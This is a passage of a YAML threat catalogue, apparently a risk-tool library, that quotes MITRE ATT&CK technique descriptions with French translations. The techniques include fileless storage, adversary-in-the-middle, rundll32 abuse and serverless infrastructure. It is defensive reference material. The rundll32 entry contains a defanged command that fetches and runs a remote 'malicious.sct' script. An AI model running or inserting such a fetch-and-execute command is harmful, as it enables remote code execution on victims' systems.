      Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620)
      and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless
      data storage may remain undetected by anti-virus and other endpoint security
      tools that can only access specific file formats from disk storage. Leveraging
      fileless storage may also allow adversaries to bypass the protections offered
      by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)


      Adversaries may use fileless storage to conceal various types of stored data,
      including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003))
      and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)).
      Adversaries also often encrypt, encode, splice, or otherwise obfuscate this
      fileless data when stored.


      Some forms of fileless storage activity may indirectly create artifacts in the
      file system, but in central and otherwise difficult to inspect formats such
      as the WMI (e.g., `%SystemRoot%\System32\Wbem\Repository`) or Registry (e.g.,
      `%SystemRoot%\System32\Config`) physical files.(Citation: Microsoft Fileless)

      https://attack.mitre.org/techniques/T1027/011'
    translations:
      fr:
        name: Stockage sans fichier
        description: "Les adversaires peuvent stocker des donn\xE9es dans des formats\
          \ \xAB sans fichier \xBB pour dissimuler les activit\xE9s malveillantes\
          \ aux d\xE9fenses. Le stockage sans fichier peut \xEAtre d\xE9fini de mani\xE8\
          re g\xE9n\xE9rale comme tout format autre qu\u2019un fichier. Parmi les\
          \ exemples courants de stockage sans fichier non volatile dans les syst\xE8\
          mes Windows, citons le registre Windows, les journaux d\u2019\xE9v\xE9nements\
          \ ou le r\xE9f\xE9rentiel WMI. (Citation : Microsoft Fileless)(Citation\
          \ : SecureList sans fichier) Dans les syst\xE8mes Linux, les r\xE9pertoires\
          \ de m\xE9moire partag\xE9e tels que '/dev/shm', '/run/shm', '/var/run'\
          \ et '/var/lock' peuvent \xE9galement \xEAtre consid\xE9r\xE9s comme du\
          \ stockage sans fichier, car les fichiers \xE9crits dans ces r\xE9pertoires\
          \ sont mapp\xE9s directement \xE0 la RAM et ne sont pas stock\xE9s sur le\
          \ disque. (Citation : Binaire \xE9lastique ex\xE9cut\xE9 \xE0 partir d\u2019\
          un r\xE9pertoire de m\xE9moire partag\xE9e)(Citation : Akami Frog4Shell\
          \ 2024)(Citation : Aquasec Muhstik Malware 2024)\n\n\xC0 l\u2019instar des\
          \ comportements en m\xE9moire sans fichier tels que [Reflective Code Loading](https://attack.mitre.org/techniques/T1620)\
          \ et [Process Injection](https://attack.mitre.org/techniques/T1055), le\
          \ stockage de donn\xE9es sans fichier peut ne pas \xEAtre d\xE9tect\xE9\
          \ par l\u2019antivirus et d\u2019autres outils de s\xE9curit\xE9 des terminaux\
          \ qui ne peuvent acc\xE9der qu\u2019\xE0 des formats de fichiers sp\xE9\
          cifiques \xE0 partir du stockage sur disque. L\u2019exploitation du stockage\
          \ sans fichier peut \xE9galement permettre aux adversaires de contourner\
          \ les protections offertes par les syst\xE8mes de fichiers en lecture seule\
          \ sous Linux. (Citation : Sysdig Fileless Malware 23022)\n\nLes adversaires\
          \ peuvent utiliser le stockage sans fichier pour dissimuler divers types\
          \ de donn\xE9es stock\xE9es, y compris les charges utiles/le shellcode (potentiellement\
          \ utilis\xE9s dans le cadre de [Persistance](https://attack.mitre.org/tactics/TA0003))\
          \ et les donn\xE9es collect\xE9es qui n\u2019ont pas encore \xE9t\xE9 exfiltr\xE9\
          es de la victime (par exemple, [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)).\
          \ De plus, il est fr\xE9quent que les adversaires chiffrent, encodent, \xE9\
          pissent ou obscurcissent ces donn\xE9es sans fichier lorsqu\u2019elles sont\
          \ stock\xE9es.\n\nCertaines formes d\u2019activit\xE9 de stockage sans fichier\
          \ peuvent cr\xE9er indirectement des artefacts dans le syst\xE8me de fichiers,\
          \ mais dans des formats centraux et difficiles \xE0 inspecter tels que les\
          \ fichiers physiques WMI (par exemple, '\_%SystemRoot\_%\\System32\\Wbem\\\
          Repository') ou Registre (par exemple, '\_%SystemRoot\_%\\System32\\Config').\
          \ (Citation : Microsoft Fileless)\nhttps://attack.mitre.org/techniques/T1027/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1037
    ref_id: T1037
    name: Boot or Logon Initialization Scripts
    description: "Adversaries may use scripts automatically executed at boot or logon\
      \ initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy\
      \ Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can\
      \ be used to perform administrative functions, which may often execute other\
      \ programs or send information to an internal logging server. These scripts\
      \ can vary based on operating system and whether applied locally or remotely.\
      \  \n\nAdversaries may use these scripts to maintain persistence on a single\
      \ system. Depending on the access configuration of the logon scripts, either\
      \ local credentials or an administrator account may be necessary. \n\nAn adversary\
      \ may also be able to escalate their privileges since some boot or logon initialization\
      \ scripts run with higher privileges.\nhttps://attack.mitre.org/techniques/T1037"
    translations:
      fr:
        name: "Scripts d\u2019initialisation de d\xE9marrage ou de connexion"
        description: "Les adversaires peuvent utiliser des scripts ex\xE9cut\xE9s\
          \ automatiquement lors de l\u2019initialisation du d\xE9marrage ou de l\u2019\
          ouverture de session pour \xE9tablir la persistance. (Citation : Mandiant\
          \ APT29 Eye Spy Email 22 novembre)(Citation : Anomali Rocke, mars 2019)\
          \ Les scripts d\u2019initialisation peuvent \xEAtre utilis\xE9s pour ex\xE9\
          cuter des fonctions administratives, qui peuvent souvent ex\xE9cuter d\u2019\
          autres programmes ou envoyer des informations \xE0 un serveur de journalisation\
          \ interne. Ces scripts peuvent varier en fonction du syst\xE8me d\u2019\
          exploitation et s\u2019ils sont appliqu\xE9s localement ou \xE0 distance.\
          \  \n\nLes adversaires peuvent utiliser ces scripts pour maintenir la persistance\
          \ sur un seul syst\xE8me. Selon la configuration d\u2019acc\xE8s des scripts\
          \ d\u2019ouverture de session, des informations d\u2019identification locales\
          \ ou un compte administrateur peuvent \xEAtre n\xE9cessaires. \n\nUn adversaire\
          \ peut \xE9galement \xEAtre en mesure d\u2019\xE9lever ses privil\xE8ges,\
          \ car certains scripts d\u2019initialisation de d\xE9marrage ou d\u2019\
          ouverture de session s\u2019ex\xE9cutent avec des privil\xE8ges plus \xE9\
          lev\xE9s.\nhttps://attack.mitre.org/techniques/T1037"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1557
    ref_id: T1557
    name: Adversary-in-the-Middle
    description: 'Adversaries may attempt to position themselves between two or more
      networked devices using an adversary-in-the-middle (AiTM) technique to support
      follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040),
      [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002),
      or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)).
      By abusing features of common networking protocols that can determine the flow
      of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device
      to communicate through an adversary controlled system so they can collect information
      or perform additional actions.(Citation: Rapid7 MiTM Basics)


      For example, adversaries may manipulate victim DNS settings to enable other
      malicious activities such as preventing/redirecting users from accessing legitimate
      sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation:
      ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their
      position in order to intercept user credentials, including access tokens ([Steal
      Application Access Token](https://attack.mitre.org/techniques/T1528)) and session
      cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation:
      volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s
      can also be used to establish an AiTM position, such as by negotiating a less
      secure, deprecated, or weaker version of communication protocol (SSL/TLS) or
      encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation:
      tlseminar_downgrade_att)


      Adversaries may also leverage the AiTM position to attempt to monitor and/or
      modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
      Adversaries can setup a position similar to AiTM to prevent traffic from flowing
      to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562)
      and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).

      https://attack.mitre.org/techniques/T1557'
    translations:
      fr:
        name: Adversaire au milieu
        description: "Les adversaires peuvent tenter de se positionner entre deux\
          \ ou plusieurs appareils en r\xE9seau \xE0 l\u2019aide d\u2019une technique\
          \ AiTM (Adversary-in-the-Middle) pour soutenir des comportements ult\xE9\
          rieurs tels que [Network Sniffing](https://attack.mitre.org/techniques/T1040),\
          \ [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)\
          \ ou les attaques par rejeu ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)).\
          \ En abusant des fonctionnalit\xE9s des protocoles r\xE9seau courants qui\
          \ peuvent d\xE9terminer le flux du trafic r\xE9seau (par exemple, ARP, DNS,\
          \ LLMNR, etc.), les adversaires peuvent forcer un appareil \xE0 communiquer\
          \ par le biais d\u2019un syst\xE8me contr\xF4l\xE9 par l\u2019adversaire\
          \ afin de collecter des informations ou d\u2019effectuer des actions suppl\xE9\
          mentaires. (Citation : Rapid7 MiTM Basics)\n\nPar exemple, les adversaires\
          \ peuvent manipuler les param\xE8tres DNS de la victime pour permettre d\u2019\
          autres activit\xE9s malveillantes, telles que l\u2019emp\xEAchement/la redirection\
          \ des utilisateurs pour qu\u2019ils acc\xE8dent \xE0 des sites l\xE9gitimes\
          \ et/ou la diffusion de logiciels malveillants suppl\xE9mentaires. (R\xE9\
          f\xE9rence : ttint_rat)(R\xE9f\xE9rence : dns_changer_trojans)(R\xE9f\xE9\
          rence : ad_blocker_with_miner) Les adversaires peuvent \xE9galement manipuler\
          \ le DNS et exploiter leur position afin d\u2019intercepter les informations\
          \ d\u2019identification des utilisateurs, y compris les jetons d\u2019acc\xE8\
          s ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528))\
          \ et les cookies de session ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).\
          \ (R\xE9f\xE9rence : volexity_0day_sophos_FW)(Citation : Tactiques symboliques)\
          \ [Attaque de r\xE9trogradation]Les (https://attack.mitre.org/techniques/T1562/010)s\
          \ peuvent \xE9galement \xEAtre utilis\xE9s pour \xE9tablir une position\
          \ AiTM, par exemple en n\xE9gociant une version moins s\xE9curis\xE9e, obsol\xE8\
          te ou plus faible du protocole de communication (SSL/TLS) ou de l\u2019\
          algorithme de chiffrement. (R\xE9f\xE9rence : mitm_tls_downgrade_att)(R\xE9\
          f\xE9rence : taxonomy_downgrade_att_tls)(R\xE9f\xE9rence : tlseminar_downgrade_att)\n\
          \nLes adversaires peuvent \xE9galement tirer parti de la position AiTM pour\
          \ tenter de surveiller et/ou de modifier le trafic, comme dans [Manipulation\
          \ de donn\xE9es transmises](https://attack.mitre.org/techniques/T1565/002).\
          \ Les adversaires peuvent configurer une position similaire \xE0 AiTM pour\
          \ emp\xEAcher le trafic de circuler vers la destination appropri\xE9e, potentiellement\
          \ vers [Entraver les d\xE9fenses](https://attack.mitre.org/techniques/T1562)\
          \ et/ou \xE0 l\u2019appui d\u2019un [D\xE9ni de service du r\xE9seau](https://attack.mitre.org/techniques/T1498).\n\
          https://attack.mitre.org/techniques/T1557"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1033
    ref_id: T1033
    name: System Owner/User Discovery
    description: 'Adversaries may attempt to identify the primary user, currently
      logged in user, set of users that commonly uses a system, or whether a user
      is actively using the system. They may do this, for example, by retrieving account
      usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
      The information may be collected in a number of different ways using other Discovery
      techniques, because user and username details are prevalent throughout a system
      and include running process ownership, file/directory ownership, session information,
      and system logs. Adversaries may use the information from [System Owner/User
      Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery
      to shape follow-on behaviors, including whether or not the adversary fully infects
      the target and/or attempts specific actions.


      Various utilities and commands may acquire this information, including <code>whoami</code>.
      In macOS and Linux, the currently logged in user can be identified with <code>w</code>
      and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v ''_''</code>
      command can also be used to enumerate user accounts. Environment variables,
      such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to
      access this information.


      On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      commands such as `show users` and `show ssh` can be used to display users currently
      logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT
      TA18-106A Network Infrastructure Devices 2018)

      https://attack.mitre.org/techniques/T1033'
    translations:
      fr:
        name: "D\xE9couverte du propri\xE9taire du syst\xE8me/de l\u2019utilisateur"
        description: "Les adversaires peuvent tenter d\u2019identifier l\u2019utilisateur\
          \ principal, l\u2019utilisateur actuellement connect\xE9, l\u2019ensemble\
          \ d\u2019utilisateurs qui utilisent couramment un syst\xE8me ou si un utilisateur\
          \ utilise activement le syst\xE8me. Ils peuvent le faire, par exemple, en\
          \ r\xE9cup\xE9rant les noms d\u2019utilisateur des comptes ou en utilisant\
          \ [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Les\
          \ informations peuvent \xEAtre collect\xE9es de diff\xE9rentes mani\xE8\
          res \xE0 l\u2019aide d\u2019autres techniques de d\xE9couverte, car les\
          \ d\xE9tails de l\u2019utilisateur et du nom d\u2019utilisateur sont r\xE9\
          pandus dans l\u2019ensemble d\u2019un syst\xE8me et incluent la propri\xE9\
          t\xE9 du processus en cours d\u2019ex\xE9cution, la propri\xE9t\xE9 des\
          \ fichiers/r\xE9pertoires, les informations de session et les journaux syst\xE8\
          me. Les adversaires peuvent utiliser les informations de [D\xE9couverte\
          \ du propri\xE9taire du syst\xE8me/de l\u2019utilisateur](https://attack.mitre.org/techniques/T1033)\
          \ lors de la d\xE9couverte automatique pour fa\xE7onner des comportements\
          \ ult\xE9rieurs, notamment si l\u2019adversaire infecte compl\xE8tement\
          \ la cible et/ou tente ou non des actions sp\xE9cifiques.\n\nDivers utilitaires\
          \ et commandes peuvent acqu\xE9rir ces informations, y compris <code>whoami</code>.\
          \ Sous macOS et Linux, l\u2019utilisateur actuellement connect\xE9 peut\
          \ \xEAtre identifi\xE9 par <code>w</code> et <code>who</code>. Sur macOS,\
          \ la commande <code>dscl . list /Users | grep -v '_'</code> peut \xE9galement\
          \ \xEAtre utilis\xE9e pour \xE9num\xE9rer les comptes d\u2019utilisateurs.\
          \ Les variables <code>d\u2019environnement, telles que %USERNAME\_%</code>\
          \ et <code>$USER</code>, peuvent \xE9galement \xEAtre utilis\xE9es pour\
          \ acc\xE9der \xE0 ces informations.\n\nSur les p\xE9riph\xE9riques r\xE9\
          seau, les commandes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ telles que 'show users' et 'show ssh' peuvent \xEAtre utilis\xE9es pour\
          \ afficher les utilisateurs actuellement connect\xE9s au p\xE9riph\xE9rique.\
          \ (R\xE9f\xE9rence : show_ssh_users_cmd_cisco)(R\xE9f\xE9rence : US-CERT\
          \ TA18-106A Network Infrastructure Devices 2018)\nhttps://attack.mitre.org/techniques/T1033"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583
    ref_id: T1583
    name: Acquire Infrastructure
    description: 'Adversaries may buy, lease, rent, or obtain infrastructure that
      can be used during targeting. A wide variety of infrastructure exists for hosting
      and orchestrating adversary operations. Infrastructure solutions include physical
      or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease)
      Some infrastructure providers offer free trial periods, enabling infrastructure
      acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally,
      botnets are available for rent or purchase.


      Use of these infrastructure solutions allows adversaries to stage, launch, and
      execute operations. Solutions may help adversary operations blend in with traffic
      that is seen as normal, such as contacting third-party web services or acquiring
      infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090),
      including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation:
      FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022)
      Depending on the implementation, adversaries may use infrastructure that makes
      it difficult to physically tie back to them as well as utilize infrastructure
      that can be rapidly provisioned, modified, and shut down.

      https://attack.mitre.org/techniques/T1583'
    translations:
      fr:
        name: "Acqu\xE9rir des infrastructures"
        description: "Les adversaires peuvent acheter, louer, louer ou obtenir une\
          \ infrastructure qui peut \xEAtre utilis\xE9e pendant le ciblage. Il existe\
          \ une grande vari\xE9t\xE9 d\u2019infrastructures pour h\xE9berger et orchestrer\
          \ les op\xE9rations de l\u2019adversaire. Les solutions d\u2019infrastructure\
          \ comprennent des serveurs physiques ou cloud, des domaines et des services\
          \ Web tiers. (Citation : TrendmicroHideoutsLease) Certains fournisseurs\
          \ d\u2019infrastructure offrent des p\xE9riodes d\u2019essai gratuites,\
          \ ce qui permet d\u2019acqu\xE9rir des infrastructures \xE0 un co\xFBt limit\xE9\
          \ ou gratuit. (Citation\_: Essai gratuit PurpleUrchin) De plus, les botnets\
          \ sont disponibles \xE0 la location ou \xE0 l\u2019achat.\n\nL\u2019utilisation\
          \ de ces solutions d\u2019infrastructure permet aux adversaires de mettre\
          \ en sc\xE8ne, de lancer et d\u2019ex\xE9cuter des op\xE9rations. Les solutions\
          \ peuvent aider les op\xE9rations de l\u2019adversaire \xE0 se fondre dans\
          \ le trafic consid\xE9r\xE9 comme normal, par exemple en contactant des\
          \ services Web tiers ou en acqu\xE9rant une infrastructure pour prendre\
          \ en charge [Proxy](https://attack.mitre.org/techniques/T1090), y compris\
          \ \xE0 partir de services proxy r\xE9sidentiels. (R\xE9f\xE9rence : amnesty_nso_pegasus)(Citation\
          \ : Bourrage d\u2019identifiants par procuration par le FBI)(R\xE9f\xE9\
          rence : Mandiant APT29 Microsoft 365 2022) En fonction de la mise en \u0153\
          uvre, les adversaires peuvent utiliser une infrastructure qui rend difficile\
          \ la connexion physique \xE0 eux, ainsi qu\u2019une infrastructure qui peut\
          \ \xEAtre rapidement provisionn\xE9e, modifi\xE9e et arr\xEAt\xE9e.\nhttps://attack.mitre.org/techniques/T1583"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.011
    ref_id: T1218.011
    name: Rundll32
    description: 'Adversaries may abuse rundll32.exe to proxy execution of malicious
      code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)),
      may avoid triggering security tools that may not monitor execution of the rundll32.exe
      process because of allowlists or false positives from normal operations. Rundll32.exe
      is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname,
      DLLfunction}</code>).


      Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002)
      Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code>
      and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes
      rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002)
      can be proxied through Rundll32.exe.


      Rundll32 can also be used to execute scripts such as JavaScript. This can be
      done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
      ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This
      behavior has been seen used by malware such as Poweliks. (Citation: This is
      Security Command Line Confusion)


      Adversaries may also attempt to obscure malicious code from analysis by abusing
      the manner in which rundll32.exe loads DLL function names. As part of Windows
      compatibility support for various character sets, rundll32.exe will first check
      for wide/Unicode then ANSI character-supported functions before loading the
      specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll,
      ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>,
      or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>).
      Adversaries may therefore obscure malicious code by creating multiple identical
      exported function names and appending <code>W</code> and/or <code>A</code> to
      harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github
      NoRunDll) DLL functions can also be exported and executed by an ordinal number
      (ex: <code>rundll32.exe file.dll,#1</code>).


      Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036)
      techniques (such as changing DLL file names, file extensions, or function names)
      to further conceal execution of a malicious payload.(Citation: rundll32.exe
      defense evasion)

      https://attack.mitre.org/techniques/T1218/011'
    translations:
      fr:
        name: Rundll32
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution de code\
          \ malveillant rundll32.exe \xE0 proxy . L\u2019utilisation de rundll32.exe,\
          \ au lieu de l\u2019ex\xE9cution directe (c\u2019est-\xE0-dire [Modules\
          \ partag\xE9s](https://attack.mitre.org/techniques/T1129)), peut \xE9viter\
          \ de d\xE9clencher des outils de s\xE9curit\xE9 qui peuvent ne pas surveiller\
          \ l\u2019ex\xE9cution du processus rundll32.exe en raison de listes d\u2019\
          autorisation ou de faux positifs provenant d\u2019op\xE9rations normales.\
          \ Rundll32.exe est g\xE9n\xE9ralement associ\xE9 \xE0 l\u2019ex\xE9cution\
          \ de charges utiles DLL (ex : <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\
          \nRundll32.exe peut \xE9galement \xEAtre utilis\xE9 pour ex\xE9cuter des\
          \ fichiers d\u2019\xE9l\xE9ments (.cpl) [Panneau de configuration](https://attack.mitre.org/techniques/T1218/002)\
          \ via les fonctions shell32.dll non document\xE9es <code>Control_RunDLL</code>\
          \ et <code>Control_RunDLLAsUser</code>. Double-cliquer sur un fichier .cpl\
          \ entra\xEEne \xE9galement l\u2019ex\xE9cution de rundll32.exe. (Citation\
          \ : Trend Micro CPL) Par exemple, [ClickOnce](https://attack.mitre.org/techniques/T1127/002)\
          \ peut \xEAtre envoy\xE9 par proxy via Rundll32.exe.\n\nRundll32 peut \xE9\
          galement \xEAtre utilis\xE9 pour ex\xE9cuter des scripts tels que JavaScript.\
          \ Cela peut \xEAtre fait en utilisant une syntaxe similaire \xE0 celle-ci\
          \ : <code>rundll32.exe javascript\_:\"\\.. \\mshtml,RunHTMLApplication \"\
          \_; document.write()\_; GetObject(\"script\_:https[\_:]//www[.]exemple[.]com/malicious.sct\_\
          \xBB)\_\xBB</code> Ce comportement a \xE9t\xE9 observ\xE9 utilis\xE9 par\
          \ des logiciels malveillants tels que Poweliks. (Citation : Il s\u2019agit\
          \ d\u2019une confusion de ligne de commande de s\xE9curit\xE9)\n\nLes adversaires\
          \ peuvent \xE9galement tenter de masquer le code malveillant de l\u2019\
          analyse en abusant de la mani\xE8re dont rundll32.exe charge les noms de\
          \ fonction DLL. Dans le cadre de la prise en charge de la compatibilit\xE9\
          \ Windows pour divers jeux de caract\xE8res, rundll32.exe v\xE9rifierons\
          \ d\u2019abord les fonctions larges/Unicode puis les fonctions prises en\
          \ charge par les caract\xE8res ANSI avant de charger la fonction sp\xE9\
          cifi\xE9e (par exemple, \xE9tant donn\xE9 la commande <code>rundll32.exe\
          \ ExampleDLL.dll, ExampleFunction,</code> rundll32.exe tenteriez d\u2019\
          abord d\u2019ex\xE9cuter <code>ExampleFunctionW</code>, ou \xE0 d\xE9faut\
          \ de cette <code>ExampleFunctionA</code>, avant de charger <code>ExampleFunction</code>).\
          \ Les adversaires peuvent donc masquer le code malveillant en cr\xE9ant\
          \ plusieurs noms de fonctions export\xE9s identiques et en ajoutant <code>W</code>\
          \ et/ou <code>A</code> \xE0 des noms inoffensifs. (Citation : Attaquer Rundll32.exe\
          \ obscurit\xE9)(Citation : github noRunDll) Les fonctions DLL peuvent \xE9\
          galement \xEAtre export\xE9es et ex\xE9cut\xE9es par un num\xE9ro ordinal\
          \ (ex : <code>rundll32.exe file.dll,#1</code>).\n\nDe plus, les adversaires\
          \ peuvent utiliser des techniques de masquage(https://attack.mitre.org/techniques/T1036)\
          \ (telles que la modification des noms de fichiers DLL, des extensions de\
          \ fichiers ou des noms de fonctions) pour dissimuler davantage l\u2019ex\xE9\
          cution d\u2019une charge utile malveillante. (Citation : rundll32.exe \xE9\
          vasion de la d\xE9fense)\nhttps://attack.mitre.org/techniques/T1218/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1613
    ref_id: T1613
    name: Container and Resource Discovery
    description: "Adversaries may attempt to discover containers and other resources\
      \ that are available within a containers environment. Other resources may include\
      \ images, deployments, pods, nodes, and other information such as the status\
      \ of a cluster.\n\nThese resources can be viewed within web applications such\
      \ as the Kubernetes dashboard or can be queried via the Docker and Kubernetes\
      \ APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may\
      \ leak information about the environment, such as the environment\u2019s configuration,\
      \ which services are available, and what cloud provider the victim may be utilizing.\
      \ The discovery of these resources may inform an adversary\u2019s next steps\
      \ in the environment, such as how to perform lateral movement and which methods\
      \ to utilize for execution.\nhttps://attack.mitre.org/techniques/T1613"
    translations:
      fr:
        name: "D\xE9couverte de conteneurs et de ressources"
        description: "Les adversaires peuvent tenter de d\xE9couvrir des conteneurs\
          \ et d\u2019autres ressources disponibles dans un environnement de conteneurs.\
          \ D\u2019autres ressources peuvent inclure des images, des d\xE9ploiements,\
          \ des pods, des n\u0153uds et d\u2019autres informations telles que l\u2019\
          \xE9tat d\u2019un cluster.\n\nCes ressources peuvent \xEAtre consult\xE9\
          es dans des applications web telles que le tableau de bord Kubernetes ou\
          \ peuvent \xEAtre interrog\xE9es via les API Docker et Kubernetes. (Citation\
          \ : API Docker)(Citation : API Kubernetes) Dans Docker, les journaux peuvent\
          \ divulguer des informations sur l\u2019environnement, telles que la configuration\
          \ de l\u2019environnement, les services disponibles et le fournisseur de\
          \ cloud que la victime peut utiliser. La d\xE9couverte de ces ressources\
          \ peut \xE9clairer les prochaines \xE9tapes d\u2019un adversaire dans l\u2019\
          environnement, telles que la fa\xE7on d\u2019effectuer un mouvement lat\xE9\
          ral et les m\xE9thodes d\u2019ex\xE9cution \xE0 utiliser.\nhttps://attack.mitre.org/techniques/T1613"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1583.007
    ref_id: T1583.007
    name: Serverless
    description: 'Adversaries may purchase and configure serverless cloud infrastructure,
      such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that
      can be used during targeting. By utilizing serverless infrastructure, adversaries
      can make it more difficult to attribute infrastructure used during operations
      back to them.


      Once acquired, the serverless runtime environment can be leveraged to either
      respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090)
      traffic to an adversary-owned command and control server.(Citation: BlackWater
      Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps
      Script Abuse 2021) As traffic generated by these functions will appear to come
      from subdomains of common cloud providers, it may be difficult to distinguish
      from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation:
      Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare
      Workers)

      https://attack.mitre.org/techniques/T1583/007'
    translations:
      fr:
        name: Sans serveur
        description: "Les adversaires peuvent acheter et configurer une infrastructure\
          \ cloud sans serveur, telle que Cloudflare Workers, des fonctions AWS Lambda\
          \ ou des scripts Google Apps, qui peuvent \xEAtre utilis\xE9es lors du ciblage.\
          \ En utilisant une infrastructure sans serveur, les adversaires peuvent\
          \ rendre plus difficile l\u2019attribution de l\u2019infrastructure utilis\xE9\
          e pendant les op\xE9rations.\n\nUne fois acquis, l\u2019environnement d\u2019\
          ex\xE9cution sans serveur peut \xEAtre exploit\xE9 pour r\xE9pondre directement\
          \ aux machines infect\xE9es ou au trafic [Proxy](https://attack.mitre.org/techniques/T1090)\
          \ vers un serveur de commande et de contr\xF4le appartenant \xE0 l\u2019\
          adversaire. (Citation : BlackWater Malware Cloudflare Workers)(R\xE9f\xE9\
          rence : redirecteur AWS Lambda)(Citation : GWS Apps Script Abuse 2021) \xC9\
          tant donn\xE9 que le trafic g\xE9n\xE9r\xE9 par ces fonctions semblera provenir\
          \ de sous-domaines de fournisseurs de cloud courants, il peut \xEAtre difficile\
          \ de distinguer le trafic ordinaire destin\xE9 \xE0 ces fournisseurs, ce\
          \ qui facilite l\u2019utilisation de [Masquer l\u2019infrastructure](https://attack.mitre.org/techniques/T1665).\
          \ (Citation : D\xE9tection de la commande et du contr\xF4le dans le cloud)(Citation\
          \ : BlackWater Malware Cloudflare Workers)\nhttps://attack.mitre.org/techniques/T1583/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1132.001
    ref_id: T1132.001
    name: Standard Encoding
    description: 'Adversaries may encode data with a standard data encoding system
      to make the content of command and control traffic more difficult to detect.
      Command and control (C2) information can be encoded using a standard data encoding
      system that adheres to existing protocol specifications. Common data encoding
      schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia
      Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding
      systems may also result in data compression, such as gzip.

      https://attack.mitre.org/techniques/T1132/001'
    translations:
      fr:
        name: Encodage standard
        description: "Les adversaires peuvent coder les donn\xE9es \xE0 l\u2019aide\
          \ d\u2019un syst\xE8me de codage de donn\xE9es standard pour rendre le contenu\
          \ du trafic de commande et de contr\xF4le plus difficile \xE0 d\xE9tecter.\
          \ Les informations de commande et de contr\xF4le (C2) peuvent \xEAtre cod\xE9\
          es \xE0 l\u2019aide d\u2019un syst\xE8me de codage de donn\xE9es standard\
          \ qui adh\xE8re aux sp\xE9cifications de protocole existantes. Les sch\xE9\
          mas de codage de donn\xE9es courants incluent ASCII, Unicode, hexad\xE9\
          cimal, Base64 et MIME. (Citation : Wikip\xE9dia Binary-to-text Encoding)(citation\
          \ : Codage des caract\xE8res de Wikip\xE9dia) Certains syst\xE8mes d\u2019\
          encodage de donn\xE9es peuvent \xE9galement entra\xEEner une compression\
          \ de donn\xE9es, tels que gzip.\nhttps://attack.mitre.org/techniques/T1132/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.009
    ref_id: T1027.009
    name: Embedded Payloads
    description: "Adversaries may embed payloads within other files to conceal malicious\
      \ content from defenses. Otherwise seemingly benign files (such as scripts and\
